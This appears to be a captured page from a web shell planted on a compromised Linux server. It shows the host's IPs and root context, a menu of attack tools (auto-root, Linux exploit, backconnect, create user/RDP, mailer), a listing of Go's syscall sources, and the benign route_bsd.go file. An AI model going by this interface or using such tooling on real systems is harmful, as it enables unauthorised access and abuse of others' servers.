Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
syscall /
[ HOME SHELL ]
Name
Size
Permission
Action
js
[ DIR ]
drwxr-xr-x
asm9_unix1_amd64.s
1.02
KB
-rw-r--r--
asm9_unix2_amd64.s
1.2
KB
-rw-r--r--
asm_aix_ppc64.s
540
B
-rw-r--r--
asm_darwin_386.s
2.5
KB
-rw-r--r--
asm_darwin_amd64.s
2.82
KB
-rw-r--r--
asm_darwin_arm.s
2.81
KB
-rw-r--r--
asm_darwin_arm64.s
2.71
KB
-rw-r--r--
asm_freebsd_arm.s
2.96
KB
-rw-r--r--
asm_freebsd_arm64.s
2.68
KB
-rw-r--r--
asm_linux_386.s
4.67
KB
-rw-r--r--
asm_linux_amd64.s
3.21
KB
-rw-r--r--
asm_linux_arm.s
3.63
KB
-rw-r--r--
asm_linux_arm64.s
2.73
KB
-rw-r--r--
asm_linux_mips64x.s
2.28
KB
-rw-r--r--
asm_linux_mipsx.s
3.28
KB
-rw-r--r--
asm_linux_ppc64x.s
2.66
KB
-rw-r--r--
asm_linux_riscv64.s
2.46
KB
-rw-r--r--
asm_linux_s390x.s
4.19
KB
-rw-r--r--
asm_netbsd_arm.s
2.85
KB
-rw-r--r--
asm_netbsd_arm64.s
2.77
KB
-rw-r--r--
asm_openbsd_arm.s
3.22
KB
-rw-r--r--
asm_openbsd_arm64.s
2.49
KB
-rw-r--r--
asm_plan9_386.s
3.14
KB
-rw-r--r--
asm_plan9_amd64.s
3.06
KB
-rw-r--r--
asm_plan9_arm.s
3.25
KB
-rw-r--r--
asm_solaris_amd64.s
1.79
KB
-rw-r--r--
asm_unix_386.s
2.74
KB
-rw-r--r--
asm_unix_amd64.s
2.08
KB
-rw-r--r--
asm_windows.s
384
B
-rw-r--r--
bpf_bsd.go
4.61
KB
-rw-r--r--
bpf_darwin.go
3.97
KB
-rw-r--r--
const_plan9.go
1.2
KB
-rw-r--r--
creds_test.go
3.26
KB
-rw-r--r--
dir_plan9.go
5.62
KB
-rw-r--r--
dirent.go
3
KB
-rw-r--r--
dirent_test.go
3.28
KB
-rw-r--r--
dll_windows.go
9.72
KB
-rw-r--r--
endian_big.go
239
B
-rw-r--r--
endian_little.go
273
B
-rw-r--r--
env_plan9.go
2.15
KB
-rw-r--r--
env_unix.go
2.77
KB
-rw-r--r--
env_windows.go
1.75
KB
-rw-r--r--
errors_plan9.go
1.61
KB
-rw-r--r--
exec_aix_test.go
816
B
-rw-r--r--
exec_bsd.go
6.36
KB
-rw-r--r--
exec_darwin.go
6.76
KB
-rw-r--r--
exec_libc.go
6.96
KB
-rw-r--r--
exec_linux.go
18.34
KB
-rw-r--r--
exec_linux_test.go
18.81
KB
-rw-r--r--
exec_plan9.go
13.19
KB
-rw-r--r--
exec_solaris_test.go
808
B
-rw-r--r--
exec_unix.go
8.13
KB
-rw-r--r--
exec_unix_test.go
3.89
KB
-rw-r--r--
exec_windows.go
7.64
KB
-rw-r--r--
export_freebsd_test.go
304
B
-rw-r--r--
export_linux_test.go
252
B
-rw-r--r--
export_test.go
193
B
-rw-r--r--
export_unix_test.go
341
B
-rw-r--r--
flock.go
691
B
-rw-r--r--
flock_aix.go
564
B
-rw-r--r--
flock_darwin.go
405
B
-rw-r--r--
flock_linux_32bit.go
481
B
-rw-r--r--
forkpipe.go
501
B
-rw-r--r--
forkpipe2.go
276
B
-rw-r--r--
fs_js.go
10.46
KB
-rw-r--r--
getdirentries_test.go
2.18
KB
-rw-r--r--
lsf_linux.go
2.12
KB
-rw-r--r--
mkall.sh
12.49
KB
-rwxr-xr-x
mkasm_darwin.go
1.66
KB
-rw-r--r--
mkerrors.sh
10.65
KB
-rwxr-xr-x
mkpost.go
1.99
KB
-rw-r--r--
mksyscall.pl
9.52
KB
-rwxr-xr-x
mksyscall_libc.pl
7.8
KB
-rwxr-xr-x
mksyscall_windows.go
707
B
-rw-r--r--
mksysctl_openbsd.pl
5.04
KB
-rwxr-xr-x
mksysnum_darwin.pl
578
B
-rwxr-xr-x
mksysnum_dragonfly.pl
866
B
-rwxr-xr-x
mksysnum_freebsd.pl
1.35
KB
-rwxr-xr-x
mksysnum_linux.pl
1.26
KB
-rwxr-xr-x
mksysnum_netbsd.pl
1.01
KB
-rwxr-xr-x
mksysnum_openbsd.pl
871
B
-rwxr-xr-x
mksysnum_plan9.sh
459
B
-rwxr-xr-x
mmap_unix_test.go
544
B
-rw-r--r--
msan.go
409
B
-rw-r--r--
msan0.go
341
B
-rw-r--r--
net.go
1.19
KB
-rw-r--r--
net_js.go
2.11
KB
-rw-r--r--
netlink_linux.go
4.67
KB
-rw-r--r--
pwd_plan9.go
1.55
KB
-rw-r--r--
route_bsd.go
9.09
KB
-rw-r--r--
route_darwin.go
2.01
KB
-rw-r--r--
route_dragonfly.go
2.61
KB
-rw-r--r--
route_freebsd.go
2.67
KB
-rw-r--r--
route_freebsd_32bit.go
1.29
KB
-rw-r--r--
route_freebsd_64bit.go
724
B
-rw-r--r--
route_netbsd.go
1.43
KB
-rw-r--r--
route_openbsd.go
1.46
KB
-rw-r--r--
security_windows.go
10.12
KB
-rw-r--r--
setuidgid_32_linux.go
306
B
-rw-r--r--
setuidgid_linux.go
302
B
-rw-r--r--
sock_cloexec_linux.go
632
B
-rw-r--r--
sockcmsg_dragonfly.go
547
B
-rw-r--r--
sockcmsg_linux.go
1.12
KB
-rw-r--r--
sockcmsg_unix.go
2.56
KB
-rw-r--r--
sockcmsg_unix_other.go
957
B
-rw-r--r--
str.go
549
B
-rw-r--r--
syscall.go
3.72
KB
-rw-r--r--
syscall_aix.go
17.83
KB
-rw-r--r--
syscall_aix_ppc64.go
405
B
-rw-r--r--
syscall_bsd.go
14.07
KB
-rw-r--r--
syscall_bsd_test.go
1.16
KB
-rw-r--r--
syscall_darwin.go
14.26
KB
-rw-r--r--
syscall_darwin_386.go
2
KB
-rw-r--r--
syscall_darwin_amd64.go
1.92
KB
-rw-r--r--
syscall_darwin_arm.go
2.03
KB
-rw-r--r--
syscall_darwin_arm64.go
1.98
KB
-rw-r--r--
syscall_dragonfly.go
7.98
KB
-rw-r--r--
syscall_dragonfly_amd64.go
1.12
KB
-rw-r--r--
syscall_freebsd.go
15.82
KB
-rw-r--r--
syscall_freebsd_386.go
1.17
KB
-rw-r--r--
syscall_freebsd_amd64.go
1.12
KB
-rw-r--r--
syscall_freebsd_arm.go
1.16
KB
-rw-r--r--
syscall_freebsd_arm64.go
1.12
KB
-rw-r--r--
syscall_freebsd_test.go
1.35
KB
-rw-r--r--
syscall_getwd_bsd.go
453
B
-rw-r--r--
syscall_js.go
6.59
KB
-rw-r--r--
syscall_linux.go
26.05
KB
-rw-r--r--
syscall_linux_386.go
10.91
KB
-rw-r--r--
syscall_linux_amd64.go
5.39
KB
-rw-r--r--
syscall_linux_arm.go
7.47
KB
-rw-r--r--
syscall_linux_arm64.go
6.24
KB
-rw-r--r--
syscall_linux_mips64x.go
6.58
KB
-rw-r--r--
syscall_linux_mipsx.go
7.03
KB
-rw-r--r--
syscall_linux_ppc64x.go
5.21
KB
-rw-r--r--
syscall_linux_riscv64.go
6.4
KB
-rw-r--r--
syscall_linux_s390x.go
8.64
KB
-rw-r--r--
syscall_linux_test.go
10.61
KB
-rw-r--r--
syscall_netbsd.go
7.59
KB
-rw-r--r--
syscall_netbsd_386.go
716
B
-rw-r--r--
syscall_netbsd_amd64.go
709
B
-rw-r--r--
syscall_netbsd_arm.go
716
B
-rw-r--r--
syscall_netbsd_arm64.go
709
B
-rw-r--r--
syscall_openbsd.go
7.06
KB
-rw-r--r--
syscall_openbsd_386.go
715
B
-rw-r--r--
syscall_openbsd_amd64.go
701
B
-rw-r--r--
syscall_openbsd_arm.go
715
B
-rw-r--r--
syscall_openbsd_arm64.go
906
B
-rw-r--r--
syscall_plan9.go
8.94
KB
-rw-r--r--
syscall_plan9_test.go
1.15
KB
-rw-r--r--
syscall_ptrace_test.go
752
B
-rw-r--r--
syscall_solaris.go
15.07
KB
-rw-r--r--
syscall_solaris_amd64.go
487
B
-rw-r--r--
syscall_test.go
1.7
KB
-rw-r--r--
syscall_unix.go
8.3
KB
-rw-r--r--
syscall_unix_test.go
10.61
KB
-rw-r--r--
syscall_windows.go
42.54
KB
-rw-r--r--
syscall_windows_386.go
176
B
-rw-r--r--
syscall_windows_amd64.go
176
B
-rw-r--r--
syscall_windows_test.go
1.8
KB
-rw-r--r--
tables_js.go
19.17
KB
-rw-r--r--
time_fake.go
676
B
-rw-r--r--
time_nofake.go
350
B
-rw-r--r--
timestruct.go
1.13
KB
-rw-r--r--
types_aix.go
3.35
KB
-rw-r--r--
types_darwin.go
4.98
KB
-rw-r--r--
types_dragonfly.go
5.04
KB
-rw-r--r--
types_freebsd.go
6.96
KB
-rw-r--r--
types_linux.go
10.68
KB
-rw-r--r--
types_netbsd.go
4.77
KB
-rw-r--r--
types_openbsd.go
5.04
KB
-rw-r--r--
types_solaris.go
4.88
KB
-rw-r--r--
types_windows.go
26.96
KB
-rw-r--r--
types_windows_386.go
477
B
-rw-r--r--
types_windows_amd64.go
477
B
-rw-r--r--
types_windows_arm.go
477
B
-rw-r--r--
zerrors_aix_ppc64.go
47.16
KB
-rw-r--r--
zerrors_darwin_386.go
55.27
KB
-rw-r--r--
zerrors_darwin_amd64.go
55.27
KB
-rw-r--r--
zerrors_darwin_arm.go
46.08
KB
-rw-r--r--
zerrors_darwin_arm64.go
55.78
KB
-rw-r--r--
zerrors_dragonfly_amd64.go
59.49
KB
-rw-r--r--
zerrors_freebsd_386.go
67.35
KB
-rw-r--r--
zerrors_freebsd_amd64.go
67.4
KB
-rw-r--r--
zerrors_freebsd_arm.go
67.34
KB
-rw-r--r--
zerrors_freebsd_arm64.go
67.41
KB
-rw-r--r--
zerrors_linux_386.go
58.31
KB
-rw-r--r--
zerrors_linux_amd64.go
58.35
KB
-rw-r--r--
zerrors_linux_arm.go
58.83
KB
-rw-r--r--
zerrors_linux_arm64.go
69.52
KB
-rw-r--r--
zerrors_linux_mips.go
70.14
KB
-rw-r--r--
zerrors_linux_mips64.go
69.46
KB
-rw-r--r--
zerrors_linux_mips64le.go
69.46
KB
-rw-r--r--
zerrors_linux_mipsle.go
70.14
KB
-rw-r--r--
zerrors_linux_ppc64.go
71.84
KB
-rw-r--r--
zerrors_linux_ppc64le.go
72.8
KB
-rw-r--r--
zerrors_linux_riscv64.go
71.76
KB
-rw-r--r--
zerrors_linux_s390x.go
74.28
KB
-rw-r--r--
zerrors_netbsd_386.go
67.43
KB
-rw-r--r--
zerrors_netbsd_amd64.go
67.02
KB
-rw-r--r--
zerrors_netbsd_arm.go
66.45
KB
-rw-r--r--
zerrors_netbsd_arm64.go
67.02
KB
-rw-r--r--
zerrors_openbsd_386.go
62.47
KB
-rw-r--r--
zerrors_openbsd_amd64.go
62.43
KB
-rw-r--r--
zerrors_openbsd_arm.go
62.46
KB
-rw-r--r--
zerrors_openbsd_arm64.go
66.36
KB
-rw-r--r--
zerrors_solaris_amd64.go
50.71
KB
-rw-r--r--
zerrors_windows.go
9.97
KB
-rw-r--r--
zerrors_windows_386.go
176
B
-rw-r--r--
zerrors_windows_amd64.go
176
B
-rw-r--r--
zsyscall_aix_ppc64.go
40.02
KB
-rw-r--r--
zsyscall_darwin_386.go
53.97
KB
-rw-r--r--
zsyscall_darwin_386.s
8.65
KB
-rw-r--r--
zsyscall_darwin_amd64.go
53.83
KB
-rw-r--r--
zsyscall_darwin_amd64.s
8.65
KB
-rw-r--r--
zsyscall_darwin_arm.go
53.44
KB
-rw-r--r--
zsyscall_darwin_arm.s
8.56
KB
-rw-r--r--
zsyscall_darwin_arm64.go
53.3
KB
-rw-r--r--
zsyscall_darwin_arm64.s
8.56
KB
-rw-r--r--
zsyscall_dragonfly_amd64.go
30.9
KB
-rw-r--r--
zsyscall_freebsd_386.go
33.55
KB
-rw-r--r--
zsyscall_freebsd_amd64.go
33.41
KB
-rw-r--r--
zsyscall_freebsd_arm.go
33.58
KB
-rw-r--r--
zsyscall_freebsd_arm64.go
33.41
KB
-rw-r--r--
zsyscall_linux_386.go
35.54
KB
-rw-r--r--
zsyscall_linux_amd64.go
40.66
KB
-rw-r--r--
zsyscall_linux_arm.go
39.77
KB
-rw-r--r--
zsyscall_linux_arm64.go
38.92
KB
-rw-r--r--
zsyscall_linux_mips.go
41.52
KB
-rw-r--r--
zsyscall_linux_mips64.go
41.3
KB
-rw-r--r--
zsyscall_linux_mips64le.go
41.3
KB
-rw-r--r--
zsyscall_linux_mipsle.go
41.52
KB
-rw-r--r--
zsyscall_linux_ppc64.go
41.94
KB
-rw-r--r--
zsyscall_linux_ppc64le.go
41.94
KB
-rw-r--r--
zsyscall_linux_riscv64.go
38.95
KB
-rw-r--r--
zsyscall_linux_s390x.go
35.94
KB
-rw-r--r--
zsyscall_netbsd_386.go
29.62
KB
-rw-r--r--
zsyscall_netbsd_amd64.go
29.48
KB
-rw-r--r--
zsyscall_netbsd_arm.go
29.63
KB
-rw-r--r--
zsyscall_netbsd_arm64.go
29.48
KB
-rw-r--r--
zsyscall_openbsd_386.go
30.46
KB
-rw-r--r--
zsyscall_openbsd_amd64.go
30.32
KB
-rw-r--r--
zsyscall_openbsd_arm.go
30.47
KB
-rw-r--r--
zsyscall_openbsd_arm64.go
30.32
KB
-rw-r--r--
zsyscall_plan9_386.go
6.17
KB
-rw-r--r--
zsyscall_plan9_amd64.go
6.17
KB
-rw-r--r--
zsyscall_plan9_arm.go
6.17
KB
-rw-r--r--
zsyscall_solaris_amd64.go
35.79
KB
-rw-r--r--
zsyscall_windows.go
60.53
KB
-rw-r--r--
zsysctl_openbsd.go
11.71
KB
-rw-r--r--
zsysnum_darwin_386.go
14.55
KB
-rw-r--r--
zsysnum_darwin_amd64.go
14.55
KB
-rw-r--r--
zsysnum_darwin_arm.go
12.28
KB
-rw-r--r--
zsysnum_darwin_arm64.go
14.38
KB
-rw-r--r--
zsysnum_dragonfly_amd64.go
22.72
KB
-rw-r--r--
zsysnum_freebsd_386.go
25.65
KB
-rw-r--r--
zsysnum_freebsd_amd64.go
25.65
KB
-rw-r--r--
zsysnum_freebsd_arm.go
25.65
KB
-rw-r--r--
zsysnum_freebsd_arm64.go
36.09
KB
-rw-r--r--
zsysnum_linux_386.go
11.26
KB
-rw-r--r--
zsysnum_linux_amd64.go
10.1
KB
-rw-r--r--
zsysnum_linux_arm.go
11.55
KB
-rw-r--r--
zsysnum_linux_arm64.go
8.95
KB
-rw-r--r--
zsysnum_linux_mips.go
12.1
KB
-rw-r--r--
zsysnum_linux_mips64.go
10.93
KB
-rw-r--r--
zsysnum_linux_mips64le.go
10.93
KB
-rw-r--r--
zsysnum_linux_mipsle.go
12.1
KB
-rw-r--r--
zsysnum_linux_ppc64.go
11.46
KB
-rw-r--r--
zsysnum_linux_ppc64le.go
11.49
KB
-rw-r--r--
zsysnum_linux_riscv64.go
8.88
KB
-rw-r--r--
zsysnum_linux_s390x.go
10.64
KB
-rw-r--r--
zsysnum_netbsd_386.go
25.54
KB
-rw-r--r--
zsysnum_netbsd_amd64.go
25.55
KB
-rw-r--r--
zsysnum_netbsd_arm.go
25.54
KB
-rw-r--r--
zsysnum_netbsd_arm64.go
25.55
KB
-rw-r--r--
zsysnum_openbsd_386.go
14.15
KB
-rw-r--r--
zsysnum_openbsd_amd64.go
14.15
KB
-rw-r--r--
zsysnum_openbsd_arm.go
14.46
KB
-rw-r--r--
zsysnum_openbsd_arm64.go
14.72
KB
-rw-r--r--
zsysnum_plan9.go
1.03
KB
-rw-r--r--
zsysnum_solaris_amd64.go
289
B
-rw-r--r--
zsysnum_windows_386.go
40
B
-rw-r--r--
zsysnum_windows_amd64.go
40
B
-rw-r--r--
ztypes_aix_ppc64.go
4.17
KB
-rw-r--r--
ztypes_darwin_386.go
6.7
KB
-rw-r--r--
ztypes_darwin_amd64.go
6.92
KB
-rw-r--r--
ztypes_darwin_arm.go
6.77
KB
-rw-r--r--
ztypes_darwin_arm64.go
6.92
KB
-rw-r--r--
ztypes_dragonfly_amd64.go
6.7
KB
-rw-r--r--
ztypes_freebsd_386.go
9
KB
-rw-r--r--
ztypes_freebsd_amd64.go
9
KB
-rw-r--r--
ztypes_freebsd_arm.go
9.01
KB
-rw-r--r--
ztypes_freebsd_arm64.go
9
KB
-rw-r--r--
ztypes_linux_386.go
11.55
KB
-rw-r--r--
ztypes_linux_amd64.go
11.92
KB
-rw-r--r--
ztypes_linux_arm.go
11.44
KB
-rw-r--r--
ztypes_linux_arm64.go
10.12
KB
-rw-r--r--
ztypes_linux_mips.go
9.93
KB
-rw-r--r--
ztypes_linux_mips64.go
10.05
KB
-rw-r--r--
ztypes_linux_mips64le.go
10.05
KB
-rw-r--r--
ztypes_linux_mipsle.go
9.93
KB
-rw-r--r--
ztypes_linux_ppc64.go
10.21
KB
-rw-r--r--
ztypes_linux_ppc64le.go
10.35
KB
-rw-r--r--
ztypes_linux_riscv64.go
10.2
KB
-rw-r--r--
ztypes_linux_s390x.go
10.39
KB
-rw-r--r--
ztypes_netbsd_386.go
5.98
KB
-rw-r--r--
ztypes_netbsd_amd64.go
6.17
KB
-rw-r--r--
ztypes_netbsd_arm.go
6.13
KB
-rw-r--r--
ztypes_netbsd_arm64.go
6.17
KB
-rw-r--r--
ztypes_openbsd_386.go
6.73
KB
-rw-r--r--
ztypes_openbsd_amd64.go
6.88
KB
-rw-r--r--
ztypes_openbsd_arm.go
6.84
KB
-rw-r--r--
ztypes_openbsd_arm64.go
6.66
KB
-rw-r--r--
ztypes_solaris_amd64.go
5.56
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : route_bsd.go
// Copyright 2011 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build darwin dragonfly freebsd netbsd openbsd package syscall import ( "runtime" "unsafe" ) var ( freebsdConfArch string // "machine $arch" line in kern.conftxt on freebsd minRoutingSockaddrLen = rsaAlignOf(0) ) // Round the length of a raw sockaddr up to align it properly. func rsaAlignOf(salen int) int { salign := sizeofPtr if darwin64Bit { // Darwin kernels require 32-bit aligned access to // routing facilities. salign = 4 } else if netbsd32Bit { // NetBSD 6 and beyond kernels require 64-bit aligned // access to routing facilities. salign = 8 } else if runtime.GOOS == "freebsd" { // In the case of kern.supported_archs="amd64 i386", // we need to know the underlying kernel's // architecture because the alignment for routing // facilities are set at the build time of the kernel. if freebsdConfArch == "amd64" { salign = 8 } } if salen == 0 { return salign } return (salen + salign - 1) & ^(salign - 1) } // parseSockaddrLink parses b as a datalink socket address. func parseSockaddrLink(b []byte) (*SockaddrDatalink, error) { if len(b) < 8 { return nil, EINVAL } sa, _, err := parseLinkLayerAddr(b[4:]) if err != nil { return nil, err } rsa := (*RawSockaddrDatalink)(unsafe.Pointer(&b[0])) sa.Len = rsa.Len sa.Family = rsa.Family sa.Index = rsa.Index return sa, nil } // parseLinkLayerAddr parses b as a datalink socket address in // conventional BSD kernel form. func parseLinkLayerAddr(b []byte) (*SockaddrDatalink, int, error) { // The encoding looks like the following: // +----------------------------+ // | Type (1 octet) | // +----------------------------+ // | Name length (1 octet) | // +----------------------------+ // | Address length (1 octet) | // +----------------------------+ // | Selector length (1 octet) | // +----------------------------+ // | Data (variable) | // +----------------------------+ type linkLayerAddr struct { Type byte Nlen byte Alen byte Slen byte } lla := (*linkLayerAddr)(unsafe.Pointer(&b[0])) l := 4 + int(lla.Nlen) + int(lla.Alen) + int(lla.Slen) if len(b) < l { return nil, 0, EINVAL } b = b[4:] sa := &SockaddrDatalink{Type: lla.Type, Nlen: lla.Nlen, Alen: lla.Alen, Slen: lla.Slen} for i := 0; len(sa.Data) > i && i < l-4; i++ { sa.Data[i] = int8(b[i]) } return sa, rsaAlignOf(l), nil } // parseSockaddrInet parses b as an internet socket address. func parseSockaddrInet(b []byte, family byte) (Sockaddr, error) { switch family { case AF_INET: if len(b) < SizeofSockaddrInet4 { return nil, EINVAL } rsa := (*RawSockaddrAny)(unsafe.Pointer(&b[0])) return anyToSockaddr(rsa) case AF_INET6: if len(b) < SizeofSockaddrInet6 { return nil, EINVAL } rsa := (*RawSockaddrAny)(unsafe.Pointer(&b[0])) return anyToSockaddr(rsa) default: return nil, EINVAL } } const ( offsetofInet4 = int(unsafe.Offsetof(RawSockaddrInet4{}.Addr)) offsetofInet6 = int(unsafe.Offsetof(RawSockaddrInet6{}.Addr)) ) // parseNetworkLayerAddr parses b as an internet socket address in // conventional BSD kernel form. func parseNetworkLayerAddr(b []byte, family byte) (Sockaddr, error) { // The encoding looks similar to the NLRI encoding. // +----------------------------+ // | Length (1 octet) | // +----------------------------+ // | Address prefix (variable) | // +----------------------------+ // // The differences between the kernel form and the NLRI // encoding are: // // - The length field of the kernel form indicates the prefix // length in bytes, not in bits // // - In the kernel form, zero value of the length field // doesn't mean 0.0.0.0/0 or ::/0 // // - The kernel form appends leading bytes to the prefix field // to make the <length, prefix> tuple to be conformed with // the routing message boundary l := int(rsaAlignOf(int(b[0]))) if len(b) < l { return nil, EINVAL } // Don't reorder case expressions. // The case expressions for IPv6 must come first. switch { case b[0] == SizeofSockaddrInet6: sa := &SockaddrInet6{} copy(sa.Addr[:], b[offsetofInet6:]) return sa, nil case family == AF_INET6: sa := &SockaddrInet6{} if l-1 < offsetofInet6 { copy(sa.Addr[:], b[1:l]) } else { copy(sa.Addr[:], b[l-offsetofInet6:l]) } return sa, nil case b[0] == SizeofSockaddrInet4: sa := &SockaddrInet4{} copy(sa.Addr[:], b[offsetofInet4:]) return sa, nil default: // an old fashion, AF_UNSPEC or unknown means AF_INET sa := &SockaddrInet4{} if l-1 < offsetofInet4 { copy(sa.Addr[:], b[1:l]) } else { copy(sa.Addr[:], b[l-offsetofInet4:l]) } return sa, nil } } // RouteRIB returns routing information base, as known as RIB, // which consists of network facility information, states and // parameters. // // Deprecated: Use golang.org/x/net/route instead. func RouteRIB(facility, param int) ([]byte, error) { mib := []_C_int{CTL_NET, AF_ROUTE, 0, 0, _C_int(facility), _C_int(param)} // Find size. n := uintptr(0) if err := sysctl(mib, nil, &n, nil, 0); err != nil { return nil, err } if n == 0 { return nil, nil } tab := make([]byte, n) if err := sysctl(mib, &tab[0], &n, nil, 0); err != nil { return nil, err } return tab[:n], nil } // RoutingMessage represents a routing message. // // Deprecated: Use golang.org/x/net/route instead. type RoutingMessage interface { sockaddr() ([]Sockaddr, error) } const anyMessageLen = int(unsafe.Sizeof(anyMessage{})) type anyMessage struct { Msglen uint16 Version uint8 Type uint8 } // RouteMessage represents a routing message containing routing // entries. // // Deprecated: Use golang.org/x/net/route instead. type RouteMessage struct { Header RtMsghdr Data []byte } func (m *RouteMessage) sockaddr() ([]Sockaddr, error) { var sas [RTAX_MAX]Sockaddr b := m.Data[:] family := uint8(AF_UNSPEC) for i := uint(0); i < RTAX_MAX && len(b) >= minRoutingSockaddrLen; i++ { if m.Header.Addrs&(1<<i) == 0 { continue } rsa := (*RawSockaddr)(unsafe.Pointer(&b[0])) switch rsa.Family { case AF_LINK: sa, err := parseSockaddrLink(b) if err != nil { return nil, err } sas[i] = sa b = b[rsaAlignOf(int(rsa.Len)):] case AF_INET, AF_INET6: sa, err := parseSockaddrInet(b, rsa.Family) if err != nil { return nil, err } sas[i] = sa b = b[rsaAlignOf(int(rsa.Len)):] family = rsa.Family default: sa, err := parseNetworkLayerAddr(b, family) if err != nil { return nil, err } sas[i] = sa b = b[rsaAlignOf(int(b[0])):] } } return sas[:], nil } // InterfaceMessage represents a routing message containing // network interface entries. // // Deprecated: Use golang.org/x/net/route instead. type InterfaceMessage struct { Header IfMsghdr Data []byte } func (m *InterfaceMessage) sockaddr() ([]Sockaddr, error) { var sas [RTAX_MAX]Sockaddr if m.Header.Addrs&RTA_IFP == 0 { return nil, nil } sa, err := parseSockaddrLink(m.Data[:]) if err != nil { return nil, err } sas[RTAX_IFP] = sa return sas[:], nil } // InterfaceAddrMessage represents a routing message containing // network interface address entries. // // Deprecated: Use golang.org/x/net/route instead. type InterfaceAddrMessage struct { Header IfaMsghdr Data []byte } func (m *InterfaceAddrMessage) sockaddr() ([]Sockaddr, error) { var sas [RTAX_MAX]Sockaddr b := m.Data[:] family := uint8(AF_UNSPEC) for i := uint(0); i < RTAX_MAX && len(b) >= minRoutingSockaddrLen; i++ { if m.Header.Addrs&(1<<i) == 0 { continue } rsa := (*RawSockaddr)(unsafe.Pointer(&b[0])) switch rsa.Family { case AF_LINK: sa, err := parseSockaddrLink(b) if err != nil { return nil, err } sas[i] = sa b = b[rsaAlignOf(int(rsa.Len)):] case AF_INET, AF_INET6: sa, err := parseSockaddrInet(b, rsa.Family) if err != nil { return nil, err } sas[i] = sa b = b[rsaAlignOf(int(rsa.Len)):] family = rsa.Family default: sa, err := parseNetworkLayerAddr(b, family) if err != nil { return nil, err } sas[i] = sa b = b[rsaAlignOf(int(b[0])):] } } return sas[:], nil } // ParseRoutingMessage parses b as routing messages and returns the // slice containing the RoutingMessage interfaces. // // Deprecated: Use golang.org/x/net/route instead. func ParseRoutingMessage(b []byte) (msgs []RoutingMessage, err error) { nmsgs, nskips := 0, 0 for len(b) >= anyMessageLen { nmsgs++ any := (*anyMessage)(unsafe.Pointer(&b[0])) if any.Version != RTM_VERSION { b = b[any.Msglen:] continue } if m := any.toRoutingMessage(b); m == nil { nskips++ } else { msgs = append(msgs, m) } b = b[any.Msglen:] } // We failed to parse any of the messages - version mismatch? if nmsgs != len(msgs)+nskips { return nil, EINVAL } return msgs, nil } // ParseRoutingSockaddr parses msg's payload as raw sockaddrs and // returns the slice containing the Sockaddr interfaces. // // Deprecated: Use golang.org/x/net/route instead. func ParseRoutingSockaddr(msg RoutingMessage) ([]Sockaddr, error) { sas, err := msg.sockaddr() if err != nil { return nil, err } return sas, nil }
Close